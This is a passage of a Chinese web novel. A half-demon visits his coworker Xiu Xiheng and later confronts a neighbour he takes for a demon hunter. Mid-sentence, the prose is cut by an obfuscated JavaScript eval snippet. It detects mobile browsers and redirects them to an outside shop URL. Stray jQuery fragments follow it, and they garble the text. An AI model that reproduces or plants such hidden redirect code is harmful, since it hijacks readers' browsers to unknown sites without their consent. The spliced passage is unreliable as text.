明明前些日子里每天都在吐槽隔壁邻居,但从刚才的画面来看,他们之间的关系似乎并没有他说描述的那么僵。
所以骆定余看着刚才他俩那和和气气的氛围,怎么能不怀疑。
“……”修西横手还搭在门把上,听见骆定余突然这样问,先是一愣,随即咧嘴笑道:“哦,我不是跟你说了吗,其实他挺好的,我前两天跟他提醒了之后,他就没有在屋子里面闹出太大动静,而且他……”
修西横说到这里突然停下,话锋一转:“先进屋再说吧,我叫了外卖,一会儿一起吃晚饭。”
骆定余仍有疑虑,但也看得出来修西横现在是在顾左右而言他,他没有戳破修西横,表情一换,笑了笑:“用外卖来招待客人,你会不会太没诚意了?”
“我倒是想亲自做给你吃。”修西横摇头叹道,“就是怕你下不了嘴……”
“你厨艺这么差是怎么一个人独自生活的?”骆定余走进屋子,看着这个简单的一居室,忍不住夸了一句:“倒是挺干净整洁的,看来平时没少打扫。”
布拉克进了屋子就去翻自己的食物去了,对骆定余和修西横二人之间的话并不感兴趣,只是它现在当着外人的面,识趣地装成了一只普通的小猫,除了时不时发出几声喵声外,一句人话都没说。
修西横放下背包,脱下外套好好挂了起来,然后说:“没办法,一个人住,事事都得自己亲字动手,我不想住得太脏,就只有勤快点了……”
“看来你真的没有对象……”骆定余现在相信修西横早上跟他说的话了。
他再次提到这个,修西横摇头叹道:“我就说了没有,你偏不信,现在终于信了?我们这种刚毕业的社会牛马,连养活自己都困难,就别去祸害别人了……还是脚踏实地奋斗,等以后经济状况好了再考虑找对象的事情……”
修西横虽然表面上看着有些吊儿郎当,但实际上却是一个很有分寸的人,知道什么阶段该做什么事。
骆定余笑了笑,没再揪着对象的事儿说,转而开始在屋子里慢悠悠踱起步来。
他那双眼睛看似随意扫着各个角落,实则一刻不停地在找寻着屋内的异常。
虽然看到修西横猫的毛色后,他不再有所怀疑黑毛的来源,但监控里修西横凭空出现在十八楼的事儿却还没捋清楚。
走到阳台的时候,骆定余脚步顿了顿,隔着栏杆能清楚看到对门阳台的光景。
不大的阳台上,晾着的几件男士衬衫,虽然样式大差不差,但一看就是生活很讲究的人。
他忍不住又开口:“你那邻居,看着倒是挺年轻的,做什么工作的啊?”
修西正跟着他身后擦杯子,听见这话手一顿,因为他着实不知道对门邻居那家伙到底是什么来路,在他的心里,对方跟捉妖师无异,但这个身份说出来,骆定余怕是也不会信,可能还会觉得他疯了。
他思考了一下,随便给对门邻居编了个身份:“好像是做什么金融行业的,经常早出晚归的,我也不太清楚,毕竟就是邻居而已,没好意思刨根问底。”
“金融行业啊……”骆定余摸着下巴重复了一遍,目光又落回客厅那只低头吃猫粮的黑猫身上,那尾巴晃来晃去,确实清清楚楚是两条。
他刚才在门口看得真切,修西横说它是天生畸形,这话要放在普通人身上或许能信,但落在他眼里,可就不是那么回事了。
两条尾巴的猫,很明显就是妖。
修西横看出他盯着布拉克在发呆,赶紧走过来把布拉克抱开,笑着打岔:“你看它干嘛,一只小馋猫,就知道吃……你看他吃得这么香,是不是也饿了?外卖也快到了,咱们过来坐会儿喝点水吧。”
骆定余收回目光,跟着他一起坐下,心里的疑团反倒越来越大。
修西横一个普普通通的人类,怎么会捡一只妖回来养?
他到底知不知道对门那个一看就不简单的男人的真实身份?
什么金融行业……分明就是……
那个男人身上没有半分社畜的味道,绝不可能是什么普通的金融从业者,而刚才修西横下意识给对方打掩护的样子,摆明了就是有蹊跷。
他端起修西横递过来的水杯,指尖碰着温热的杯壁,状似随意地开口:“说起来,你住在这里,每天去上班要花很长一段时间吧,为什么当初不住近一些呢?”
“我也想啊……”修西横叹道,“谁让咱这刚毕业的大学生没钱呢……这一片是老城区,租金便宜,而且这附近就有地铁站,出行也方便,只要前一晚睡好了,早上按时起床,就不会迟到的。”
骆定余眸光有些异样,别过头想着什么,这个时候,门铃响了起来。
修西横站起来,说:“应该是外卖到了,我去拿。”
骆定余回过神来冲他笑着点了一下头,修西横转身便去开门拿外卖了。
修西横点了一些平时他认为味道不错的菜,就算他不喝酒,还是贴心地给骆定余点了两罐啤酒,因为他在公司的聚餐上见过他喝酒。
“你要喝冰的吗?”修西横把啤酒拿出来,“要的话我去给你拿冰块。”
骆定余摇头笑道:“我记得你不喝酒。”
“但你喝啊!”修西横笑起来没心没肺的,那模样让骆定余有些恍神,片刻后才回过神来说:“那麻烦给我冰块,我喜欢喝冰的。”
听他这么说,修西横放下啤酒罐,起身去拿了一些冰块和杯子过来,然后打开外卖包装袋,把饭菜摆好后拿起筷子递给了骆定余。
骆定余看他点了很多,不由替他的钱包担忧。
“你不是没钱吗,点这么多干嘛?”
修西横夹起一块鸡肉送进嘴里,一边咀嚼一边回答:“没事儿,没钱了我自己想办法,你就不要想那么多了。”
既然他都这样说了,骆定余也不好继续追问,毕竟有些私事就算追问了,可能也得不到一个确切的答案,不仅如此,反而还会惹来对方的怀疑。
二人吃饭的时候,有一句没一句地聊着天,吃了差不多一个小时才结束,只是修西横点得实在太多了,他俩已经很努力在吃了,但最后还是没有吃完。
修西横把没吃完的放进冰箱,骆定余看了看时间,发现不早了,便起身跟修西横道:“我吃太撑了,现在打算走去地铁站消消食。”
“我送你!”修西横慌忙关上冰箱门,从厨房里面走了出来。
骆定余却拒绝道:“不用了,你早点休息,明天也别迟到。”
“别,还是我送你吧!”修西横觉得不礼貌,坚持要送骆定余出去。
骆定余无奈之下只得说:“别送了,我一会儿还要见一个人,你在旁边不方便。”
一听这话,修西横恍然大悟:“不方便啊……行,我明白了……你这家伙还怀疑我有对象,明明你自己才是有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676357|207476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
对象的那个人吧!”
面对修西横的误会,骆定余没有否认,唇角勾勒出一抹浅淡的笑意,什么也没说朝着屋门走了去。
“明天见!”骆定余开门的时候,还不忘回头跟修西横打了声招呼,说完却不等修西横回应,就踏出屋门将门关上了。
出了门,骆定余抬眸看了看对门,然后转身下了楼梯。
走到楼梯口的时候,突然从侧面传来了一道来者不善的声音:“这是哪里来的一股狗味儿啊……”
一句莫名的话让骆定余骤然停下了脚步,他循声转头,看到了靠在墙壁上的意味深长盯着自己的侧影。
“你……”骆定余并不意外来人是谁,但对于对方的那句话,他却感到一阵后怕。
“怎么?”昝归尘依旧依靠在墙上,不以为然道:“以为我看不出来?”
“捉妖师?”骆定余露出怀疑而警惕的目光。
昝归尘对于这种误解已经习以为常,也不想多作解释,毕竟他从不和旁人过多接触,也忌讳与他们有什么牵扯。
只是,这位修西横口中所谓的同事,今日在看到自己的那一刻就露出了探究的目光,这让他有些好奇他的目的罢了。
他靠近修西横,会不会有什么别的企图。
修西横身边最近总是发生一些非同寻常的事情,这让他不得不提高警惕。
好歹是对门邻居,他当然不能让他遭遇什么不好的事情,更何况,要是有人在自己眼皮子下做出什么坏事,这让他多没面子。
昝归尘嘴角缓慢勾起,笑了笑:“是的话,你不怕?”
骆定余拧着眉,问道:“你想对修西横做什么?”
昝归尘无语一笑:“你觉得我想做什么?”
“捉妖师对妖还能做什么?”骆定余干脆直接摊明自己的怀疑,“他只是个半妖,半妖妖灵不纯,对捉妖师来说用处不大,你放过他不行吗?”
“你也知道他的身份?”昝归尘有些意外,不过对于他的怀疑,昝归尘觉得有些可笑,忍不住玩笑道:“那你也应该知道对于捉妖师来说,就算是半妖,也并非完全没有用处不是吗?”昝归尘冷笑一声,“而且,犬妖一族的妖灵用来锻造法器倒是不错,你难道想试试?”
对方这么快就看破了自己的身份,骆定余惊诧万分地盯着他,半天没能说出一个字。
半响后,他才咬了咬牙道:“我和他一样,只是想要当一个普通人的半妖罢了……我们封了妖灵,就是不想遇上你这样的存在,你如果没有想要对他怎么样的打算,就麻烦你离他远一点……就算是邻居,也不要过多接触。”
“既然想做普通人……”昝归尘叹道,“就老实待着,干嘛来试探我?真不怕被我捉去炼法器?”
不知道为什么,眼前这个人散发出来的气场太过强烈,以至于骆定余根本不敢继续试探。
见他一言不发,昝归尘站直身体,朝着他走了两步,抬手搭在他肩膀上轻轻拍了拍:“你担心他的话大可不必,因为我过不了两天就要离开这里了,我可不想继续在这个破旧小区久住下去,所以你不必过多担心。”
骆定余目光落在肩膀上那只手的手背,还没来得及说什么,昝归尘就掠过他身前上了楼梯。
“还有……”昝归尘上了两步楼梯后,回头看向骆定余道:“我可不是什么捉妖师,对你们这种夹起尾巴做人的半妖可没什么兴趣。”